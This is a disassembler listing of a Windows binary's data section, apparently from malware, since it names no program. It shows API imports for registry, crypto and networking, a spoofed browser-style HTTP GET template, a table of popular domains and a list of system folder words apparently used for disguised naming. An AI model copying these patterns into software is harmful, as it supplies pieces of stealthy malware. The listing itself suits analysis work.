off_9B98E6	dd offset aKernel32	; DATA XREF: sub_9B0930+32r
					; "KERNEL32"
off_9B98EA	dd offset loc_9B2D74	; DATA XREF: sub_9B1D80+292Er
		align 10h
aReadfile	db 'ReadFile',0         ; DATA XREF: .text:off_9B907Ao
		align 4
aDigital	db 'Digital',0          ; DATA XREF: .text:009BA210o
dword_9B9904	dd 0FFFFFFFFh, 9AC124h,	9B1C90h	; DATA XREF: .text:off_9B946Ao
off_9B9910	dd offset aNtohs	; DATA XREF: sub_9B0930:loc_9AE0FCr
					; "ntohs"
dword_9B9914	dd 72726F74h, 7A746E65h, 6D6F632Eh, 0 ;	DATA XREF: .text:009B9C78o
aHtons		db 'htons',0            ; DATA XREF: .text:off_9BA850o
off_9B992A	dd offset dword_9B9850	; DATA XREF: sub_9B3408+5r
		align 10h
aFonts		db 'Fonts',0            ; DATA XREF: .text:009BA22Co
off_9B9936	dd offset aHttp1_0	; DATA XREF: sub_9B63D8-E04r
					; "HTTP/1.0 "
		align 4
dword_9B993C	dd 6E61726Fh, 662E6567h	; DATA XREF: .text:009B9C0Co
		db 72h,	0
off_9B9946	dd offset loc_9AC814	; DATA XREF: sub_9B0930+37A3r
		align 4
dword_9B994C	dd 5653203Bh		; DATA XREF: sub_9B082C:loc_9AB318r
word_9B9950	dw 31h			; DATA XREF: sub_9B082C-550Br
		align 4
dword_9B9954	dd 636F6567h, 65697469h, 6F632E73h, 6Dh	; DATA XREF: .text:009B9B5Co
dword_9B9964	dd 0FFFFFFFFh, 9B11E0h,	9AC9D4h	; DATA XREF: .text:off_9BAD8Eo
off_9B9970	dd offset loc_9AECC4	; DATA XREF: sub_9B4FD0-7CA0r
off_9B9974	dd offset loc_9AC04C	; DATA XREF: sub_9B0930+4E7Cr
off_9B9978	dd offset loc_9AFE14	; DATA XREF: sub_9B4950+12F0r
off_9B997C	dd offset loc_9B24E0	; DATA XREF: sub_9AB3B0+8873r
dword_9B9980	dd 6F706370h, 6F632E70h	; DATA XREF: .text:009B9C1Co
		db 6Dh,	0
off_9B998A	dd offset aMsvcrt	; DATA XREF: sub_9B0930-40C8r
					; "MSVCRT"
off_9B998E	dd offset loc_9ADF00	; DATA XREF: sub_9ABD30+188Fr
		align 4
dword_9B9994	dd 0FFFFFFFFh, 9AD6FCh,	9AFB80h, 65737341h, 696C626Dh
					; DATA XREF: .text:off_9BAF12o
					; .text:009BA1E0o
		db 65h,	73h, 0
off_9B99AB	dd offset dword_9B92B0	; DATA XREF: sub_9AC6DC+5r
off_9B99AF	dd offset loc_9AC0C4	; DATA XREF: sub_9B3B1C-2741r
		align 4
aLogs		db 'Logs',0             ; DATA XREF: .text:009BA270o
off_9B99B9	dd offset aWsagetlasterro ; DATA XREF: sub_9B0930:loc_9B3E90r
					; "WSAGetLastError"
off_9B99BD	dd offset dword_9BAB9C	; DATA XREF: sub_9B4FD0+5r
		align 4
dword_9B99C4	dd 0FFFFFFFFh, 9B5138h,	9B1C10h	; DATA XREF: .text:off_9B90D9o
off_9B99D0	dd offset dword_9BA8F8	; DATA XREF: sub_9B63D8-1487r
		dd offset dword_9BA8F8
		dd offset aApplicationXam ; ", application/xaml+xml"
off_9B99DC	dd offset loc_9B4AFC	; DATA XREF: sub_9AB1A0+AAD7r
off_9B99E0	dd offset dword_9BA34C	; DATA XREF: sub_9B1584+5r
aPhoto		db 'Photo',0            ; DATA XREF: .text:009BA2BCo
off_9B99EA	dd offset loc_9B13C0	; DATA XREF: sub_9B3B1C+F2Br
off_9B99EE	dd offset loc_9B51E4	; DATA XREF: sub_9AD97C+28A8r
off_9B99F2	dd offset loc_9B4C68	; DATA XREF: sub_9B1A08-3C82r
off_9B99F6	dd offset loc_9AF098	; DATA XREF: sub_9B2E04+337Er
off_9B99FA	dd offset loc_9AD9E4	; DATA XREF: sub_9B0930-5B10r
		align 10h
dword_9B9A00	dd 0FFFFFFFFh, 9ACFF4h,	9ABDE0h	; DATA XREF: .text:off_9BAA20o
off_9B9A0C	dd offset loc_9AFE8C	; DATA XREF: sub_9B0930-193Dr
dword_9B9A10	dd 70796170h, 7075706Fh, 6D6F632Eh ; DATA XREF:	.text:009B9C14o
		db 0
off_9B9A1D	dd offset loc_9ABE44	; DATA XREF: sub_9AF25C+1900r
off_9B9A21	dd offset loc_9B24A4	; DATA XREF: sub_9B174C+3DD6r
off_9B9A25	dd offset dword_9B9E38	; DATA XREF: sub_9B6078+5r
off_9B9A29	dd offset loc_9B4A64	; DATA XREF: sub_9B1F68+2159r
		align 10h
dword_9B9A30	dd 2E326366h, 6D6F63h, 74726170h, 6B6F7079h, 632E7265h
					; DATA XREF: .text:009B9B44o
					; .text:009B9C10o
		dd 6D6Fh, 2E6B7361h, 6D6F63h
off_9B9A50	dd offset loc_9ACCC8	; DATA XREF: sub_9ABF08+4CB0r
dword_9B9A54	dd 654D203Bh		; DATA XREF: sub_9ADB10:loc_9B0170r
dword_9B9A58	dd 20616964h		; DATA XREF: sub_9ADB10+2668r
dword_9B9A5C	dd 746E6543h		; DATA XREF: sub_9ADB10+2670r
dword_9B9A60	dd 50207265h		; DATA XREF: sub_9ADB10+267Ar
dword_9B9A64	dd 2E352043h		; DATA XREF: sub_9ADB10+2684r
word_9B9A68	dw 30h			; DATA XREF: sub_9ADB10+268Cr
off_9B9A6A	dd offset aRegsetvalueexa ; DATA XREF: sub_9B0930:loc_9B1CE8r
					; "RegSetValueExA"
		align 10h
off_9B9A70	dd offset dword_9BAACC	; DATA XREF: sub_9AB3B0+4Fr
		dd offset dword_9B9E48
		dd offset dword_9BABDC
		dd offset dword_9B9564
		dd offset dword_9BAF04
dword_9B9A84	dd 3420544Eh		; DATA XREF: .text:009BAD34o
		db 2Eh,	30h, 0
off_9B9A8B	dd offset loc_9ADC78	; DATA XREF: sub_9B63D8-7C0Cr
off_9B9A8F	dd offset aWs2_32	; DATA XREF: sub_9B0930-40DCr
					; "WS2_32"
		align 4
off_9B9A94	dd offset a2ch_net	; DATA XREF: sub_9ACEE8+2651r
					; "2ch.net"
		dd offset a4shared_com	; "4shared.com"
		dd offset dword_9BA438
		dd offset dword_9B93EC+0Ch
		dd offset aAdsrevenue_net ; "adsrevenue.net"
		dd offset aAdultadworld_c ; "adultadworld.com"
		dd offset aAdultfriendfin ; "adultfriendfinder.com"
		dd offset dword_9B9F40
		dd offset dword_9BAE7C
		dd offset dword_9B88AC
		dd offset dword_9BA604
		dd offset dword_9BA9B4
		dd offset dword_9B9EA4
		dd offset dword_9BAA54
		dd offset dword_9B9A30+18h
		dd offset dword_9B9E7C
		dd offset aAwempire_com	; "awempire.com"
		dd offset aBadongo_com	; "badongo.com"
		dd offset dword_9BA728
		dd offset dword_9B9538
		dd offset dword_9BAD14
		dd offset dword_9BAEEC
		dd offset dword_9B8F00
		dd offset dword_9B90C8
		dd offset dword_9B973C
		dd offset dword_9B9454
		dd offset dword_9B8D30
		dd offset dword_9B8C8C+0Ch
		dd offset dword_9BAD74
		dd offset dword_9BADD0
		dd offset dword_9BAA60
		dd offset dword_9B9128
		dd offset aDepositfiles_c ; "depositfiles.com"
		dd offset dword_9B9638
		dd offset aDisney_go_com ; "disney.go.com"
		dd offset aDoubleclick_co ; "doubleclick.com"
		dd offset aDownload_com	; "download.com"
		dd offset dword_9BAA74
		dd offset dword_9B8920+18h
		dd offset dword_9BAD98
		dd offset dword_9B95D8+0Ch
		dd offset dword_9B9EC8
		dd offset dword_9B8D58
		dd offset aFastclick_com ; "fastclick.com"
		dd offset dword_9B9A30
		dd offset aFiles_wordpres ; "files.wordpress.com"
		dd offset dword_9BA8E4
		dd offset dword_9BACF0
		dd offset dword_9B8FD4
		dd offset dword_9BA628
		dd offset dword_9B9954
		dd offset dword_9B89E8
		dd offset dword_9B9E54
		dd offset dword_9BA6D0
		dd offset aGooglesyndicat ; "googlesyndication.com"
		dd offset dword_9BA12C
		dd offset dword_9B88D4
		dd offset dword_9B934C
		dd offset dword_9BAB74
		dd offset dword_9BA11C
		dd offset dword_9BA6F0
		dd offset dword_9B967C
		dd offset dword_9BA3A8
		dd offset dword_9B97EC
		dd offset dword_9BAFD4
		dd offset dword_9B964C
		dd offset dword_9B97CC
		dd offset dword_9BAE2C
		dd offset dword_9B9764
		dd offset dword_9BA78C
		dd offset aLivejournal_co ; "livejournal.com"
		dd offset dword_9B9500
		dd offset dword_9BA944
		dd offset dword_9BA184
		dd offset dword_9B9F50
		dd offset aMegaporn_com	; "megaporn.com"
		dd offset dword_9BAFAC
		dd offset dword_9B9F88
		dd offset dword_9B9F28
		dd offset dword_9B8D18
		dd offset dword_9B8D48
		dd offset dword_9B91B8+8
		dd offset dword_9B96CC
		dd offset dword_9BA7D4
		dd offset dword_9B89A8
		dd offset aMywebsearch_co ; "mywebsearch.com"
		dd offset dword_9B9304+0Ch
		dd offset dword_9B92A0
		dd offset dword_9B96C0
		dd offset dword_9B9FC4
		dd offset dword_9B87B4
		dd offset aNicovideo_jp	; "nicovideo.jp"
		dd offset aNing_com	; "ning.com"
		dd offset dword_9B8974+4
		dd offset dword_9B993C
		dd offset dword_9B9A30+8
		dd offset dword_9B9A10
		dd offset aPconline_com_c ; "pconline.com.cn"
		dd offset dword_9B9980
		dd offset dword_9BA414
		dd offset aPhotobucket_co ; "photobucket.com"
		dd offset dword_9BAA44
		dd offset dword_9BA174
		dd offset dword_9B8FA0
		dd offset aRapidshare_c_0 ; "rapidshare.com"
		dd offset aRediff_com	; "rediff.com"
		dd offset dword_9B986C
		dd offset dword_9BACC0
		dd offset dword_9B9EFC
		dd offset dword_9B8920+0Ch
		dd offset dword_9B8EA8
		dd offset aSonico_com	; "sonico.com"
		dd offset dword_9BA470
		dd offset aSourceforge_ne ; "sourceforge.net"
		dd offset aStudiverzeichn ; "studiverzeichnis.com"
		dd offset aTagged_com	; "tagged.com"
		dd offset dword_9BA71C
		dd offset dword_9B9088
		dd offset aThepiratebay_o ; "thepiratebay.org"
		dd offset aTianya_cn	; "tianya.cn"
		dd offset dword_9B9538+0Ch
		dd offset dword_9B9914
		dd offset aTribalfusion_c ; "tribalfusion.com"
		dd offset dword_9B9284
		dd offset dword_9BACAC
		dd offset dword_9BA6E4
		dd offset dword_9BA1BC
		dd offset dword_9BA844
		dd offset dword_9BAC1C
		dd offset dword_9BAF78
		dd offset aVkontakte_ru	; "vkontakte.ru"
		dd offset dword_9BAD80
		dd offset dword_9B8CC8
		dd offset dword_9BAB44
		dd offset dword_9BAB08
		dd offset dword_9B9284+0Ch
		dd offset dword_9B9378
		dd offset aXnxx_com	; "xnxx.com"
		dd offset dword_9BAE48
		dd offset aYahoo_co_jp	; "yahoo.co.jp"
		dd offset dword_9B8C24
		dd offset dword_9B87E0+0Ch
		dd offset aYouporn_com	; "youporn.com"
		dd offset dword_9B9214
		dd offset dword_9B87FC
		dd offset dword_9B9158
		dd offset aZshare_net	; "zshare.net"
dword_9B9CE0	dd 0FFFFFFFFh, 9B6500h,	9B1CBCh	; DATA XREF: .text:off_9B8DD8o
off_9B9CEC	dd offset loc_9B273C	; DATA XREF: sub_9B2E04+2250r
aOffice		db 'Office',0           ; DATA XREF: .text:009BA2A0o
off_9B9CF7	dd offset loc_9B3A04	; DATA XREF: sub_9B4950-6DA6r
		align 4
aVersion	db 'VERSION',0          ; DATA XREF: sub_9B0930-40B5o
off_9B9D04	dd offset loc_9B5124	; DATA XREF: sub_9B649C-81F7r
aMsdownld	db 'msdownld',0         ; DATA XREF: .text:009BA294o
		align 4
aGooglesyndicat	db 'googlesyndication.com',0 ; DATA XREF: .text:009B9B6Co
		align 4
; char aGetSHttp1_1Acc[]
aGetSHttp1_1Acc	db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_9B63D8-144Bo
		db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg%s%s%s'
		db '%s%s, */*',0Dh,0Ah
		db 'Accept-Language: %s%s',0Dh,0Ah
		db '%sAccept-Encoding: gzip, deflate',0Dh,0Ah
		db 'User-Agent: %s',0Dh,0Ah
		db 'Host: %s',0Dh,0Ah
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 0Dh,0Ah,0
off_9B9DF7	dd offset loc_9AF938	; DATA XREF: sub_9B1584+91r
		align 4
aCryptreleaseco	db 'CryptReleaseContext',0 ; DATA XREF: .text:off_9BABB0o
aBadongo_com	db 'badongo.com',0      ; DATA XREF: .text:009B9AD8o
dword_9B9E1C	dd 0FFFFFFFFh, 9B61F8h,	9B5418h	; DATA XREF: .text:off_9BA69Co
off_9B9E28	dd offset loc_9AC804	; DATA XREF: sub_9B3A74-8BB4r
dword_9B9E2C	dd 0FFFFFFFFh, 9B47E0h,	9AF908h	; DATA XREF: .text:off_9BAB3Eo
dword_9B9E38	dd 0FFFFFFFFh, 9B460Ch,	9B51C0h	; DATA XREF: .text:off_9B9A25o
off_9B9E44	dd offset loc_9AC184	; DATA XREF: sub_9AD97C+1F26r
dword_9B9E48	dd 31302E35h		; DATA XREF: .text:009B9A74o
		db 0
off_9B9E4D	dd offset loc_9B36AC	; DATA XREF: sub_9B4950-8893r
		align 4
dword_9B9E54	dd 2E6F6F67h, 6A2E656Eh	; DATA XREF: .text:009B9B64o
		db 70h,	0
off_9B9E5E	dd offset loc_9B43CC	; DATA XREF: sub_9B27D8+Dr
		align 4
aFindnextfilea	db 'FindNextFileA',0    ; DATA XREF: .text:off_9B955Do
off_9B9E72	dd offset loc_9AAF7C	; DATA XREF: sub_9B3BE8+17r
off_9B9E76	dd offset loc_9ABAF0	; DATA XREF: sub_9AC6DC+74B8r
		align 4
dword_9B9E7C	dd 62657761h, 632E7265h	; DATA XREF: .text:009B9AD0o
		db 6Fh,	6Dh, 0
off_9B9E87	dd offset loc_9B4D58	; DATA XREF: sub_9AB1A0+ADC5r
		align 4
aPolicy_0	db 'Policy',0           ; DATA XREF: .text:009BA2C8o
off_9B9E93	dd offset aGettempfilenam ; DATA XREF: sub_9B0930:loc_9B4C0Cr
					; "GetTempFileNameA"
off_9B9E97	dd offset loc_9B50A0	; DATA XREF: sub_9B0930+3F93r
off_9B9E9B	dd offset loc_9AC608	; DATA XREF: sub_9B3864+1277r
off_9B9E9F	dd offset loc_9ADB98	; DATA XREF: sub_9B4950-1FECr
		align 4
dword_9B9EA4	dd 77736E61h, 2E737265h, 6D6F63h ; DATA	XREF: .text:009B9AC4o
off_9B9EB0	dd offset loc_9B2354	; DATA XREF: sub_9B562C-64BEr
dword_9B9EB4	dd 0FFFFFFFFh, 9B1580h,	9AD338h	; DATA XREF: .text:off_9B94F8o
off_9B9EC0	dd offset aWininet	; DATA XREF: sub_9B0930-4103r
					; "WININET"
off_9B9EC4	dd offset dword_9BAF6C	; DATA XREF: sub_9AFC28+5r
dword_9B9EC8	dd 6E707365h, 2E6F672Eh, 6D6F63h, 65646F4Dh, 6Dh
					; DATA XREF: .text:009B9B38o
					; .text:009BA288o
aGettickcount	db 'GetTickCount',0     ; DATA XREF: .text:off_9B9203o
off_9B9EE9	dd offset sub_9B5904	; DATA XREF: sub_9AEAAC+19F5r
off_9B9EED	dd offset loc_9B0DC8	; DATA XREF: sub_9B4CF4-277Fr
off_9B9EF1	dd offset dword_9BBD28	; DATA XREF: sub_9B4BF8-700Dr
					; sub_9B18F8-DD7r
off_9B9EF5	dd offset loc_9B0EA4	; DATA XREF: sub_9B04A8+4CFBr
		align 4
dword_9B9EFC	dd 73656573h, 6E2E6161h	; DATA XREF: .text:009B9C44o
		db 65h,	74h, 0
off_9B9F07	dd offset loc_9B5F6C	; DATA XREF: sub_9B6264+68r
off_9B9F0B	dd offset loc_9B41BC	; DATA XREF: sub_9B0930-9r
off_9B9F0F	dd offset loc_9AEF90	; DATA XREF: sub_9AC32C+1B02r
off_9B9F13	dd offset loc_9B5DD4	; DATA XREF: sub_9ACA48+466Br
off_9B9F17	dd offset loc_9B5BFC	; DATA XREF: sub_9B4950-3BE0r
		align 4
dword_9B9F1C	dd 707041h		; DATA XREF: .text:009BA1DCo
off_9B9F20	dd offset aCreatedirector ; DATA XREF: sub_9B0930:loc_9AB1F8r
					; "CreateDirectoryA"
off_9B9F24	dd offset loc_9B3A68	; DATA XREF: sub_9AC6DC+378Ar
dword_9B9F28	dd 7274656Dh, 6F6C666Fh, 6F632E67h, 6Dh, 32373033h, 39h
					; DATA XREF: .text:009B9BCCo
dword_9B9F40	dd 2E6D6961h, 6D6F63h	; DATA XREF: .text:009B9AB0o
off_9B9F48	dd offset loc_9AAFF0	; DATA XREF: sub_9AB1A0+46r
off_9B9F4C	dd offset loc_9AE600	; DATA XREF: sub_9ACEE8+86r
dword_9B9F50	dd 6167656Dh, 63696C63h, 6F632E6Bh ; DATA XREF:	.text:009B9BBCo
		db 6Dh,	0
off_9B9F5E	dd offset loc_9B015C	; DATA XREF: sub_9AB1A0+2A7Dr
off_9B9F62	dd offset loc_9B0A64	; DATA XREF: sub_9B0930+B06r
off_9B9F66	dd offset loc_9B4134	; DATA XREF: sub_9AF25C+4927r
off_9B9F6A	dd offset sub_9ADAC4	; DATA XREF: sub_9B4950:loc_9AEF08r
					; sub_9B4950-1EDFr ...
off_9B9F6E	dd offset loc_9AE988	; DATA XREF: sub_9B1A08+9B2r
		align 4
aBuild		db 'Build',0            ; DATA XREF: .text:009BA1ECo
off_9B9F7A	dd offset loc_9ACBE4	; DATA XREF: sub_9B0930-25A7r
off_9B9F7E	dd offset loc_9B21B0	; DATA XREF: sub_9B2F1C+C9r
off_9B9F82	dd offset loc_9B34B0	; DATA XREF: sub_9ACEE8+5DBCr
		align 4
dword_9B9F88	dd 6174656Dh, 65666163h, 6D6F632Eh ; DATA XREF:	.text:009B9BC8o
		db 0
off_9B9F95	dd offset dword_9BEBF4	; DATA XREF: sub_9B2010-3915r
off_9B9F99	dd offset dword_9BEBD0	; DATA XREF: sub_9AB1A0+A6FEr
off_9B9F9D	dd offset sub_9B1134	; DATA XREF: sub_9AFC28-A7Cr
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: .text:off_9B9848o
off_9B9FAA	dd offset aInternetgetcon ; DATA XREF: sub_9B0930:loc_9AB374r
					; "InternetGetConnectedState"
		align 10h
dword_9B9FB0	dd 0FFFFFFFFh, 9B50E4h,	9B528Ch, 69617774h, 6Eh
					; DATA XREF: .text:off_9BA3F0o
					; .text:009BA320o
dword_9B9FC4	dd 6674656Eh, 2E78696Ch, 6D6F63h ; DATA	XREF: .text:009B9BF8o
off_9B9FD0	dd offset aGetfileattribu ; DATA XREF: sub_9B0930:loc_9B426Cr
					; "GetFileAttributesA"
aMobile		db 'Mobile',0           ; DATA XREF: .text:009BA284o
off_9B9FDB	dd offset loc_9B0BE8	; DATA XREF: sub_9AF030+2345r
off_9B9FDF	dd offset dword_9BF120	; DATA XREF: sub_9B2118-1B89r
					; .text:009B4FC4r
		align 4
aObtainuseragen	db 'ObtainUserAgentString',0 ; DATA XREF: .text:off_9B88CCo
		align 4
aLoadlibrarya_0	db 'LoadLibraryA',0     ; DATA XREF: .text:off_9B8D85o
		align 4
aSonico_com	db 'sonico.com',0       ; DATA XREF: .text:009B9C50o
		align 4
aSystemtimetofi	db 'SystemTimeToFileTime',0 ; DATA XREF: .text:off_9B98D1o
off_9BA02D	dd offset loc_9AD444	; DATA XREF: sub_9B2F1C-54B2r
off_9BA031	dd offset loc_9B30E0	; DATA XREF: sub_9B4FD0-A05Cr
		align 4
aMedia		db 'Media',0            ; DATA XREF: .text:009BA27Co
		align 10h
aDownloaded	db 'Downloaded',0       ; DATA XREF: .text:009BA21Co
		align 4
aPhotobucket_co	db 'photobucket.com',0  ; DATA XREF: .text:009B9C24o
aApplicationXSh	db ', application/x-shockwave-flash',0 ; DATA XREF: .text:009B88F8o
off_9BA07C	dd offset loc_9AADB8	; DATA XREF: sub_9AB1A0+1B22r
off_9BA080	dd offset loc_9B3DB4	; DATA XREF: sub_9B43F4-3F1Er
dword_9BA084	dd 6957203Bh		; DATA XREF: sub_9AB3B0:loc_9B24E0r
dword_9BA088	dd 776F646Eh		; DATA XREF: sub_9AB3B0+7138r
word_9BA08C	dw 2073h		; DATA XREF: sub_9AB3B0+7140r
byte_9BA08E	db 0			; DATA XREF: sub_9AB3B0+714Br
off_9BA08F	dd offset loc_9AEA48	; DATA XREF: sub_9AB1A0+AA01r
off_9BA093	dd offset loc_9B0C88	; DATA XREF: sub_9B3150+2DE7r
off_9BA097	dd offset loc_9AE9F4	; DATA XREF: sub_9B649C-576Fr
		align 4
aGetsystemtime	db 'GetSystemTime',0    ; DATA XREF: .text:off_9B8E65o
		align 4
aAwempire_com	db 'awempire.com',0     ; DATA XREF: .text:009B9AD4o
off_9BA0B9	dd offset loc_9B17E4	; DATA XREF: sub_9B3D1C+F8Er
off_9BA0BD	dd offset sub_9ACA48	; DATA XREF: sub_9B2C70-55FBr
					; sub_9B1F68-21F3r
off_9BA0C1	dd offset loc_9B0B98	; DATA XREF: sub_9ABF08+6CF1r
		align 4
dword_9BA0C8	dd 0FFFFFFFFh, 9ABD1Ch,	9B1E5Ch	; DATA XREF: .text:off_9B93A3o
off_9BA0D4	dd offset loc_9B4CF0	; DATA XREF: .text:009AB514r
aWininet	db 'WININET',0          ; DATA XREF: .text:off_9B9EC0o
off_9BA0E0	dd offset dword_9BACD0	; DATA XREF: sub_9AE400+5r
aDepositfiles_c	db 'depositfiles.com',0 ; DATA XREF: .text:009B9B14o
off_9BA0F5	dd offset aClosehandle	; DATA XREF: sub_9B0930:loc_9B50A0r
					; "CloseHandle"
		align 4
aGetversion	db 'GetVersion',0       ; DATA XREF: .text:off_9B979Bo
off_9BA107	dd offset aWsaioctl	; DATA XREF: sub_9B0930:loc_9AEFC0r
					; "WSAIoctl"
off_9BA10B	dd offset dword_9BAD64	; DATA XREF: sub_9B3150+5r
off_9BA10F	dd offset loc_9B1E44	; DATA XREF: sub_9B4FD0-623Dr
off_9BA113	dd offset dword_9B9234	; DATA XREF: sub_9AF030+5r
		align 4
dword_9BA118	dd 3436h		; DATA XREF: .text:off_9BA1D0o
dword_9BA11C	dd 67616D69h, 61687365h, 752E6B63h, 73h	; DATA XREF: .text:009B9B80o
dword_9BA12C	dd 67756F67h, 632E756Fh	; DATA XREF: .text:009B9B70o
		db 6Fh,	6Dh, 0
off_9BA137	dd offset loc_9B2CE4	; DATA XREF: sub_9B327C-8168r
		align 4
dword_9BA13C	dd 0FFFFFFFFh, 9B3DECh,	9B1D3Ch	; DATA XREF: .text:off_9B8E0Co
dword_9BA148	dd 0FFFFFFFFh, 9AC1F4h,	9B4090h	; DATA XREF: .text:off_9BB097o
off_9BA154	dd offset dword_9B8814	; DATA XREF: sub_9ADCEC+5r
off_9BA158	dd offset loc_9AC8EC	; DATA XREF: sub_9B63D8-80DFr
off_9BA15C	dd offset loc_9B2224	; DATA XREF: sub_9ADAC4+7204r
off_9BA160	dd offset aGetlasterror	; DATA XREF: sub_9B0930:loc_9ABB88r
					; "GetLastError"
off_9BA164	dd offset loc_9AB734	; DATA XREF: sub_9B3408-627Er
off_9BA168	dd offset loc_9ADC08	; DATA XREF: sub_9AB1A0-183r
off_9BA16C	dd offset aContentLength ; DATA	XREF: sub_9B63D8-6918r
					; "\r\nContent-Length: "
off_9BA170	dd offset sub_9B1648	; DATA XREF: sub_9B2160+388Ar
dword_9BA174	dd 6E726F70h, 2E627568h, 6D6F63h ; DATA	XREF: .text:009B9C2Co
off_9BA180	dd offset dword_9BEC1C	; DATA XREF: sub_9B1584+66r
					; .text:009B40E5r
dword_9BA184	dd 6964656Dh, 72696661h, 6F632E65h, 6Dh	; DATA XREF: .text:009B9BB8o
aCryptacquireco	db 'CryptAcquireContextA',0 ; DATA XREF: .text:off_9B9530o
off_9BA1A9	dd offset loc_9B30B0	; DATA XREF: sub_9AC6DC+6F1Br
		align 10h
dword_9BA1B0	dd 0FFFFFFFFh, 9AB3ACh,	9B4BA8h	; DATA XREF: .text:off_9BA971o
dword_9BA1BC	dd 65707974h, 2E646170h, 6D6F63h ; DATA	XREF: .text:009B9C8Co
off_9BA1C8	dd offset loc_9AC080	; DATA XREF: sub_9B0930+2EB0r
		align 10h
off_9BA1D0	dd offset dword_9BA118	; DATA XREF: sub_9AE860+EEEr
					; sub_9AE860:loc_9B5A10r
		dd offset aAdobe	; "Adobe"
		dd offset dword_9B88D4+8
		dd offset dword_9B9F1C
		dd offset dword_9B9994+0Ch
		dd offset aAssembly	; "assembly"
		dd offset aBoot_0	; "Boot"
		dd offset aBuild	; "Build"
		dd offset aCalendar	; "Calendar"
		dd offset aCollaboration ; "Collaboration"
		dd offset aCommon	; "Common"
		dd offset aComponents	; "Components"
		dd offset aCursors	; "Cursors"
		dd offset aDebug	; "Debug"
		dd offset aDefender_0	; "Defender"
		dd offset aDefinitions	; "Definitions"
		dd offset aDigital	; "Digital"
		dd offset aDistribution	; "Distribution"
		dd offset aDocuments	; "Documents"
		dd offset aDownloaded	; "Downloaded"
		dd offset dword_9BA600
		dd offset aExplorer	; "Explorer"
		dd offset aFiles	; "Files"
		dd offset aFonts	; "Fonts"
		dd offset aGallery	; "Gallery"
		dd offset aGames	; "Games"
		dd offset aGlobalization ; "Globalization"
		dd offset aGoogle	; "Google"
		dd offset aHelp_0	; "Help"
		dd offset dword_9BAABC
		dd offset dword_9B9734
		dd offset aInstaller_0	; "Installer"
		dd offset aIntel	; "Intel"
		dd offset aInter	; "Inter"
		dd offset dword_9B95D8+14h
		dd offset aJava		; "Java"
		dd offset aJournal	; "Journal"
		dd offset aKernel	; "Kernel"
		dd offset dword_9B9500+8
		dd offset aLive		; "Live"
		dd offset aLogs		; "Logs"
		dd offset aMail		; "Mail"
		dd offset aMaker	; "Maker"
		dd offset aMedia	; "Media"
		dd offset aMicrosoft_0	; "Microsoft"
		dd offset aMobile	; "Mobile"
		dd offset dword_9B9EC8+0Ch
		dd offset aMovie	; "Movie"
		dd offset aMs_0		; "MS"
		dd offset aMsdownld	; "msdownld"
		dd offset dword_9BA5F4
		dd offset aNew		; "New"
		dd offset aOffice	; "Office"
		dd offset aOffline	; "Offline"
		dd offset aOptions	; "Options"
		dd offset dword_9B97A4+0Ch
		dd offset aPages	; "Pages"
		dd offset aPatch	; "Patch"
		dd offset aPerformance	; "Performance"
		dd offset aPhoto	; "Photo"
		dd offset aPla		; "PLA"
		dd offset aPlayer	; "Player"
		dd offset aPolicy_0	; "Policy"
		dd offset aPrefetch	; "Prefetch"
		dd offset aProfiles	; "Profiles"
		dd offset aProgram	; "Program"
		dd offset aPublish	; "Publish"
		dd offset aReference	; "Reference"
		dd offset aRegistered	; "Registered"
		dd offset aRegistration	; "registration"
		dd offset aReports	; "Reports"
		dd offset aResources	; "Resources"
		dd offset aSchemas	; "schemas"
		dd offset aSecurity_0	; "Security"
		dd offset aService_0	; "Service"
		dd offset aSetup	; "Setup"
		dd offset aShell_0	; "Shell"
		dd offset aSoftware	; "Software"
		dd offset aSpeech	; "Speech"
		dd offset aSystem_0	; "System"
		dd offset aTasks	; "Tasks"
		dd offset aTemp		; "Temp"
		dd offset dword_9BA734
		dd offset aTracing	; "tracing"
		dd offset dword_9B9FB0+0Ch
		dd offset dword_9B8974
		dd offset dword_9B8D30+8
		dd offset aVisual	; "Visual"
		dd offset dword_9BA348
		dd offset aWinsxs	; "winsxs"
		dd offset dword_9B8890+0Ch
		dd offset byte_9BA674
off_9BA340	dd offset loc_9AAEF0	; DATA XREF: sub_9B4FD0+749r
off_9BA344	dd offset aSleep_0	; DATA XREF: sub_9B0930:loc_9B2790r
					; "Sleep"
dword_9BA348	dd 626557h		; DATA XREF: .text:009BA330o
dword_9BA34C	dd 0FFFFFFFFh, 9B0214h,	9AD084h	; DATA XREF: .text:off_9B99E0o
off_9BA358	dd offset dword_9BA8F8	; DATA XREF: sub_9B63D8-149Er
		dd offset dword_9BA8F8
		dd offset aApplicationXMs ; ", application/x-ms-xbap"
off_9BA364	dd offset loc_9B5BA8	; DATA XREF: sub_9B63D8-AE6Cr
aTracing	db 'tracing',0          ; DATA XREF: .text:009BA31Co
off_9BA370	dd offset aGetprocaddress ; DATA XREF: sub_9B0930:loc_9B2DB8r
					; "GetProcAddress"
off_9BA374	dd offset loc_9B4EA8	; DATA XREF: sub_9B63D8-45B0r
off_9BA378	dd offset loc_9B3E44	; DATA XREF: sub_9B0930-3FA1r
dword_9BA37C	dd 0FFFFFFFFh, 9B2008h,	9B1AD0h	; DATA XREF: .text:off_9B984Co
off_9BA388	dd offset loc_9B5D64	; DATA XREF: sub_9B46CC-7D99r
off_9BA38C	dd offset dword_9BAE88	; DATA XREF: sub_9B43F4+5r
aClosehandle	db 'CloseHandle',0      ; DATA XREF: .text:off_9BA0F5o
off_9BA39C	dd offset loc_9B240C	; DATA XREF: sub_9B2E04+80r
off_9BA3A0	dd offset loc_9B4E98	; DATA XREF: sub_9B1D80-6D96r
off_9BA3A4	dd offset loc_9AF200	; DATA XREF: sub_9ABF08+DC9r
dword_9BA3A8	dd 65656D69h, 6F632E6Dh, 6Dh ; DATA XREF: .text:009B9B8Co
dword_9BA3B4	dd 0FFFFFFFFh, 9B2320h,	9AB444h	; DATA XREF: .text:off_9B90DDo
aCreatefilea	db 'CreateFileA',0      ; DATA XREF: .text:off_9BAC5Fo
off_9BA3CC	dd offset loc_9ABA24	; DATA XREF: sub_9B327C-588r
off_9BA3D0	dd offset loc_9AB774	; DATA XREF: sub_9AFC28+4Ar
off_9BA3D4	dd offset aRegqueryvaluee ; DATA XREF: sub_9B0930:loc_9B574Cr
					; "RegQueryValueExA"
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: .text:off_9BADC4o
		align 4
